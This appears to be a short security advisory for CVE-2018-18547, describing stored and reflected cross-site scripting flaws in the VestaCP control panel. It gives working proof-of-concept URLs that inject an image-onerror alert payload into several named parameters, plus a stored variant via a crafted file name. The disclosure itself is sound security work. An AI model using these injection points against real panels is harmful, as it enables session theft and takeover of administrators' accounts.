VestaCP Multiple XSS Vulnerabilities <= v0.9.8-22

2018.10.21
Risk: Low
Local: Yes
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

[+] Title: VestaCP Multiple XSS Vulnerabilities <= v0.9.8-22 [+] Author: Numan OZDEMIR (https://infinitumit.com.tr) [+] Vendor Homepage: vestacp.com [+] Version: Up to v0.9.8-22. [+] CVE: CVE-2018-18547 [+] Discovered by Numan OZDEMIR in InfinitumIT Labs [+] root@numanozdemir.com - info@infinitumit.com.tr [~] Description: Insert any XSS payload. I will use <img src onerror=alert(1337)> https://IP:8083/list/directory/ -> Stored XSS: A visitor may upload a file as named xss payload, using any form in your website. If VestaCP user see this file in the interface, his browser will run the JavaScript. So this vulnerability makes high risk. https://IP:8083/edit/web/?domain=">%3Cimg%20src%20onerror%3Dalert(1337)%3E -> Reflected XSS https://IP:8083/list/backup/?backup=">%3Cimg%20src%20onerror%3Dalert(1337)%3E -> Reflected XSS https://IP:8083/list/rrd/?period=">%3Cimg%20src%20onerror%3Dalert(1337)%3E -> Reflected XSS https://IP:8083/list/directory/?dir_a=">alert(1337);// -> Reflected XSS // for secure days...

References:

https://numanozdemir.com/vesta-vulns.txt
CVE-2018-18547


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top